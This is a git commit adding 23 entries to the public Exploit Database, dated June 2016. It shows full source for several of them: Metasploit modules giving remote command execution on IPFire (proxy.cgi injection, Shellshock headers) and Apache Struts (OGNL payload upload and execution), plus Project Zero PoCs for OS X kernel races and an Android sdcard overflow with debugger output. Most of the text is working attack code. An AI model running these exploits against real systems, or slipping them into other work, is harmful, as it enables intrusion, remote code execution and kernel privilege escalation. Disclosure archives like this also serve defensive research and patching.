DB: 2016-06-11

23 new exploits

Poison Ivy 2.1.x C2 Buffer Overflow (msf)
Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation
Dell OpenManage Server Administrator 8.3 - XML External Entity Exploit
Mobiketa 1.0 - CSRF Add Admin Exploit
miniMySQLAdmin 1.1.3 - CSRF Execute SQL Query
phpMyFAQ 2.9.0 - Stored XSS
Windows x86 system(_systeminfo_) Shellcode
Armadito Antimalware - Backdoor/Bypass
Riot Games League of Legends - Insecure File Permissions Privilege Escalation
IPFire proxy.cgi RCE
IPFire Bash Environment Variable Injection (Shellshock)
Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution
OS X Kernel - Exploitable NULL Pointer Dereference in nvCommandQueue::GetHandleIndex in GeForce.kext
Android - /system/bin/sdcard Stack Buffer Overflow
OS X Kernel - Exploitable NULL Pointer Dereference in AppleMuxControl.kext
OS X Kernel - Exploitable NULL Pointer Dereference in AppleGraphicsDeviceControl
OS X Kernel - Exploitable NULL Dereference in IOAccelSharedUserClient2::page_off_resource
OS X Kernel - Exploitable NULL Dereference in CoreCaptureResponder Due to Unchecked Return Value
OS X Kernel - Exploitable NULL Pointer Dereference in IOAudioEngine
OS X Kernel - OOB Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type
OS X Kernel - Use-After-Free Due to Bad Locking in IOAcceleratorFamily2
OS X/iOS Kernel - UAF Racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient
OS X Kernel - Stack Buffer Overflow in GeForce GPU Driver
This commit is contained in:
Offensive Security 2016-06-11 05:06:22 +00:00
parent 4bc4dc0218
commit 076ef173f9
24 changed files with 3246 additions and 0 deletions

View file

@ -36086,3 +36086,26 @@ id,file,description,date,author,platform,type,port
39904,platforms/asp/webapps/39904.txt,"Cisco EPC 3928 - Multiple Vulnerabilities",2016-06-07,"Patryk Bogdan",asp,webapps,0
39905,platforms/php/webapps/39905.txt,"Drale DBTableViewer 100123 - Blind SQL Injection",2016-06-08,HaHwul,php,webapps,80
39906,platforms/multiple/dos/39906.txt,"Microsoft Word (Win/Mac) - Crash PoC",2016-06-09,halsten,multiple,dos,0
39907,platforms/windows/remote/39907.rb,"Poison Ivy 2.1.x C2 Buffer Overflow (msf)",2016-06-10,"Jos Wetzels",windows,remote,3460
39908,platforms/windows/local/39908.txt,"Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation",2016-06-10,"Roland C. Redl",windows,local,0
39909,platforms/xml/webapps/39909.rb,"Dell OpenManage Server Administrator 8.3 - XML External Entity Exploit",2016-06-10,hantwister,xml,webapps,0
39911,platforms/php/webapps/39911.html,"Mobiketa 1.0 - CSRF Add Admin Exploit",2016-06-10,"Murat Yilmazlar",php,webapps,80
39912,platforms/php/webapps/39912.html,"miniMySQLAdmin 1.1.3 - CSRF Execute SQL Query",2016-06-10,HaHwul,php,webapps,80
39913,platforms/php/webapps/39913.txt,"phpMyFAQ 2.9.0 - Stored XSS",2016-06-10,"Kacper Szurek",php,webapps,80
39914,platforms/win32/shellcode/39914.c,"Windows x86 system(_systeminfo_) Shellcode",2016-06-10,"Roziul Hasan Khan Shifat",win32,shellcode,0
39915,platforms/windows/dos/39915.c,"Armadito Antimalware - Backdoor/Bypass",2016-06-10,Ax.,windows,dos,0
39916,platforms/windows/local/39916.txt,"Riot Games League of Legends - Insecure File Permissions Privilege Escalation",2016-06-10,"Cyril Vallicari",windows,local,0
39917,platforms/cgi/remote/39917.rb,"IPFire proxy.cgi RCE",2016-06-10,metasploit,cgi,remote,444
39918,platforms/cgi/remote/39918.rb,"IPFire Bash Environment Variable Injection (Shellshock)",2016-06-10,metasploit,cgi,remote,444
39919,platforms/multiple/remote/39919.rb,"Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution",2016-06-10,metasploit,multiple,remote,8080
39920,platforms/osx/dos/39920.c,"OS X Kernel - Exploitable NULL Pointer Dereference in nvCommandQueue::GetHandleIndex in GeForce.kext",2016-06-10,"Google Security Research",osx,dos,0
39921,platforms/android/dos/39921.txt,"Android - /system/bin/sdcard Stack Buffer Overflow",2016-06-10,"Google Security Research",android,dos,0
39922,platforms/osx/dos/39922.c,"OS X Kernel - Exploitable NULL Pointer Dereference in AppleMuxControl.kext",2016-06-10,"Google Security Research",osx,dos,0
39923,platforms/osx/dos/39923.c,"OS X Kernel - Exploitable NULL Pointer Dereference in AppleGraphicsDeviceControl",2016-06-10,"Google Security Research",osx,dos,0
39924,platforms/osx/dos/39924.c,"OS X Kernel - Exploitable NULL Dereference in IOAccelSharedUserClient2::page_off_resource",2016-06-10,"Google Security Research",osx,dos,0
39925,platforms/osx/dos/39925.c,"OS X Kernel - Exploitable NULL Dereference in CoreCaptureResponder Due to Unchecked Return Value",2016-06-10,"Google Security Research",osx,dos,0
39926,platforms/osx/dos/39926.c,"OS X Kernel - Exploitable NULL Pointer Dereference in IOAudioEngine",2016-06-10,"Google Security Research",osx,dos,0
39927,platforms/osx/dos/39927.c,"OS X Kernel - OOB Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type",2016-06-10,"Google Security Research",osx,dos,0
39928,platforms/osx/dos/39928.c,"OS X Kernel - Use-After-Free Due to Bad Locking in IOAcceleratorFamily2",2016-06-10,"Google Security Research",osx,dos,0
39929,platforms/multiple/dos/39929.c,"OS X/iOS Kernel - UAF Racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient",2016-06-10,"Google Security Research",multiple,dos,0
39930,platforms/osx/dos/39930.c,"OS X Kernel - Stack Buffer Overflow in GeForce GPU Driver",2016-06-10,"Google Security Research",osx,dos,0

Can't render this file because it is too large.

96
platforms/android/dos/39921.txt Executable file
View file

@ -0,0 +1,96 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=798
Android: Stack-buffer-overflow in /system/bin/sdcard
There's an integer overflow issue in get_node_path_locked, which results in
a buffer overflow. For all of the calling paths, this is going to overflow a
stack buffer in the parent function:
static ssize_t get_node_path_locked(struct node* node, char* buf, size_t bufsize) {
const char* name;
size_t namelen;
if (node->graft_path) {
name = node->graft_path;
namelen = node->graft_pathlen;
} else if (node->actual_name) {
name = node->actual_name;
namelen = node->namelen;
} else {
name = node->name;
namelen = node->namelen;
}
// when bufsize == namelen + 1
if (bufsize < namelen + 1) {
return -1;
}
ssize_t pathlen = 0;
if (node->parent && node->graft_path == NULL) {
// bufsize - namelen - 2 overflows to SIZE_MAX
pathlen = get_node_path_locked(node->parent, buf, bufsize - namelen - 2);
if (pathlen < 0) {
return -1;
}
buf[pathlen++] = '/';
}
memcpy(buf + pathlen, name, namelen + 1); /* include trailing \0 */
return pathlen + namelen;
}
This can be triggered by a malicious app creating a directory structure in
/sdcard with a total path length longer than PATH_MAX, which can be achieved by
creating a directory heirarchy starting with several directories with short
names and later renaming these parent directories to have longer names. See the
attached POC, which can be run from the 'untrusted_app' selinux domain.
It appears that the overflow is close enough to the bottom of the stack that
with a large overflow we can corrupt thread data that is used before the stack
cookie is checked, suggesting that this issue is possibly exploitable despite
the presence of stack cookies.
(gdb) i r
r0 0xb 11
r1 0x1 1
r2 0x41414199 1094795673
r3 0x41414141 1094795585
r4 0x80000000 2147483648
r5 0x0 0
r6 0xb6e40ec0 3068399296
r7 0xb6cbe860 3066816608
r8 0xb6e4930c 3068433164
r9 0xb6e3c594 3068380564
r10 0xbee4c9ac 3202664876
r11 0xb6943180 3063165312
r12 0xb6e3c908 3068381448
sp 0xb6cbe7a0 0xb6cbe7a0
lr 0xb6e1daad -1226712403
pc 0xb6e06ade 0xb6e06ade <pthread_getspecific(pthread_key_t)+34>
cpsr 0x80070030 -2147024848
(gdb) x/10i $pc
=> 0xb6e06ade <pthread_getspecific(pthread_key_t)+34>: ldr r4, [r2, #100] ; 0x64
0xb6e06ae0 <pthread_getspecific(pthread_key_t)+36>: cmp r4, r1
0xb6e06ae2 <pthread_getspecific(pthread_key_t)+38>: bne.n 0xb6e06aec <pthread_getspecific(pthread_key_t)+48>
0xb6e06ae4 <pthread_getspecific(pthread_key_t)+40>: ldr r0, [r2, #104] ; 0x68
0xb6e06ae6 <pthread_getspecific(pthread_key_t)+42>: pop {r4, pc}
0xb6e06ae8 <pthread_getspecific(pthread_key_t)+44>: movs r0, #0
0xb6e06aea <pthread_getspecific(pthread_key_t)+46>: pop {r4, pc}
0xb6e06aec <pthread_getspecific(pthread_key_t)+48>: adds r0, #12
0xb6e06aee <pthread_getspecific(pthread_key_t)+50>: add.w r12, r3, r0, lsl #3
0xb6e06af2 <pthread_getspecific(pthread_key_t)+54>: movs r0, #0
(gdb) bt
#0 0xb6e06ade in pthread_getspecific (key=11) at bionic/libc/bionic/pthread_key.cpp:160
#1 0xb6e1daac in je_tsd_wrapper_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#2 je_tsd_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609
#3 je_tsd_fetch () at external/jemalloc/include/jemalloc/internal/tsd.h:614
#4 imalloc_body (usize=<synthetic pointer>, tsd=<synthetic pointer>, size=4) at external/jemalloc/src/jemalloc.c:1401
#5 je_malloc (size=4) at external/jemalloc/src/jemalloc.c:1423
#6 0xb6f3bb3e in handle_open (fuse=0xbee478c8, hdr=0xbee4c984, req=<optimized out>, handler=<optimized out>)
at system/core/sdcard/sdcard.c:1193
#7 0x41414140 in ?? ()
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39921.zip

118
platforms/cgi/remote/39917.rb Executable file
View file

@ -0,0 +1,118 @@
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IPFire proxy.cgi RCE',
'Description' => %q(
IPFire, a free linux based open source firewall distribution,
version < 2.19 Update Core 101 contains a remote command execution
vulnerability in the proxy.cgi page.
),
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # module
'Yann CAM' # discovery
],
'References' =>
[
[ 'EDB', '39765' ],
[ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Privileged' => false,
'DefaultOptions' => { 'SSL' => true },
'Arch' => [ ARCH_CMD ],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl awk openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 04 2016'
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
Opt::RPORT(444)
], self.class
)
end
def check
begin
res = send_request_cgi(
'uri' => '/cgi-bin/pakfire.cgi',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
if version && update && version == "2.19" && update.to_i < 101
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def exploit
begin
# To manually view the vuln page, click to proxy.cgi. At the bottom
# select Local, and save. Ignore the error box, at the bottom of
# the page click the button: User Management.
payload_formatted = "||#{payload.encoded};#"
post_data = "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"
post_data << "&NCSA_GROUP=standard"
post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
post_data << "&SUBMIT=Create+user"
post_data << "&ACTION=Add"
post_data << "&NCSA_MIN_PASS_LEN=6"
res = send_request_cgi(
'uri' => '/cgi-bin/proxy.cgi',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'headers' =>
{
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
},
'data' => post_data
)
# success means we hang our session, and wont get back a response
if res
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end

112
platforms/cgi/remote/39918.rb Executable file
View file

@ -0,0 +1,112 @@
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IPFire Bash Environment Variable Injection (Shellshock)',
'Description' => %q(
IPFire, a free linux based open source firewall distribution,
version <= 2.15 Update Core 82 contains an authenticated remote
command execution vulnerability via shellshock in the request headers.
),
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # module
'Claudio Viviani' # discovery
],
'References' =>
[
[ 'EDB', '34839' ],
[ 'CVE', '2014-6271']
],
'License' => MSF_LICENSE,
'Platform' => %w( linux unix ),
'Privileged' => false,
'DefaultOptions' =>
{
'SSL' => true,
'PAYLOAD' => 'cmd/unix/generic'
},
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 29 2014'
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
Opt::RPORT(444)
], self.class
)
end
def check
begin
res = send_request_cgi(
'uri' => '/cgi-bin/index.cgi',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
if version && update && version == "2.15" && update.to_i < 83
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
#
# CVE-2014-6271
#
def cve_2014_6271(cmd)
%{() { :;}; /bin/bash -c "#{cmd}" }
end
def exploit
begin
payload = cve_2014_6271(datastore['CMD'])
vprint_status("Exploiting with payload: #{payload}")
res = send_request_cgi(
'uri' => '/cgi-bin/index.cgi',
'method' => 'GET',
'headers' => { 'VULN' => payload }
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
/<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
print_good(output) unless output.nil?
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end

133
platforms/multiple/dos/39929.c Executable file
View file

@ -0,0 +1,133 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=732
This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.
Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.
This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/
//ianbeer
//build: clang -o hdix_race_get_set hdix_race_get_set.c -framework IOKit -framework Foundation -lpthread
/*
OS X/iOS kernel UAF racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient
This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.
Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.
This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
#include <CoreFoundation/CoreFoundation.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[4096] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
char* payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
global_conn = conn;
selector = 4;
inputScalarCnt = 0;
inputStructCnt = strlen(payload)+1;
strcpy((char*)inputStruct, payload);
outputScalarCnt = 0;
outputStructCnt = 0;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
for(;;) {
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
make_iokit_call();
}
return NULL;
}
int main(int argc, char** argv){
kern_return_t err;
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOHDIXController"));
mach_port_t conn = MACH_PORT_NULL;
IOServiceOpen(service, mach_task_self(), 0, &conn);
set_params(conn);
for(;;) {
OSSpinLockUnlock(&lock);
CFTypeRef p = IORegistryEntryCreateCFProperty(service,
CFSTR("di-root-image-result"),
kCFAllocatorDefault,
0);
}
return 0;
}

View file

@ -0,0 +1,204 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed when using REST Plugin with ! operator when
Dynamic Method Invocation is enabled.
},
'Author' => [
'Nixawk' # original metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3087' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Jun 01 2016',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def get_target_platform
target.platform.platforms.first
end
def temp_path
@TMPPATH ||= lambda {
path = datastore['TMPPATH']
return nil unless path
case get_target_platform
when Msf::Module::Platform::Windows
slash = '\\'
when
slash = '/'
else
end
unless path.end_with?('/')
path << '/'
end
return path
}.call
end
def send_http_request(payload, params_hash)
uri = normalize_uri(datastore['TARGETURI'])
uri = "#{uri}/#{payload}"
resp = send_request_cgi(
'uri' => uri,
'version' => '1.1',
'method' => 'POST',
'vars_post' => params_hash
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def generate_rce_payload(code)
payload = ""
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("#xx.toString.json")
payload << "?"
payload << Rex::Text.uri_encode("#xx:#request.toString")
payload
end
def upload_exec(cmd, filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
payload = generate_rce_payload(code)
params_hash = {
var_d => Rex::Text.encode_base64(cmd),
var_e => Rex::Text.encode_base64(filename),
var_f => content
}
send_http_request(payload, params_hash)
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"
payload = generate_rce_payload(code)
params_hash = { var_b => flag }
begin
resp = send_http_request(payload, params_hash)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
payload_exe = rand_text_alphanumeric(4 + rand(4))
case target['Platform']
when 'java'
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
command = "java -jar #{payload_exe}"
when 'linux'
path = datastore['TMPPATH'] || '/tmp/'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}"
command = "/bin/sh -c #{payload_exe}"
when 'win'
path = temp_path || '.\\'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}.exe"
command = "cmd.exe /c #{payload_exe}"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
pl_content = pl_exe.unpack('H*').join()
print_status("Uploading exploit to #{payload_exe}, and executing it.")
upload_exec(command, payload_exe, pl_content)
handler
end
end

182
platforms/osx/dos/39920.c Executable file
View file

@ -0,0 +1,182 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784
The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
// ianbeer
// clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext
The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 0x100; // GetHandleData
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 4096;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
OSSpinLockUnlock(&lock);
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
void poc() {
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
pthread_join(t, NULL);
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\x41';
}
for (;;) {
poc();
}
return 0;
}

182
platforms/osx/dos/39922.c Executable file
View file

@ -0,0 +1,182 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=783
The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)
We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
// ianbeer
// clang -o mux_control_race mux_control_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL pointer dereference in AppleMuxControl.kext
The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)
We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 9; // getAGCData
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 4096;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
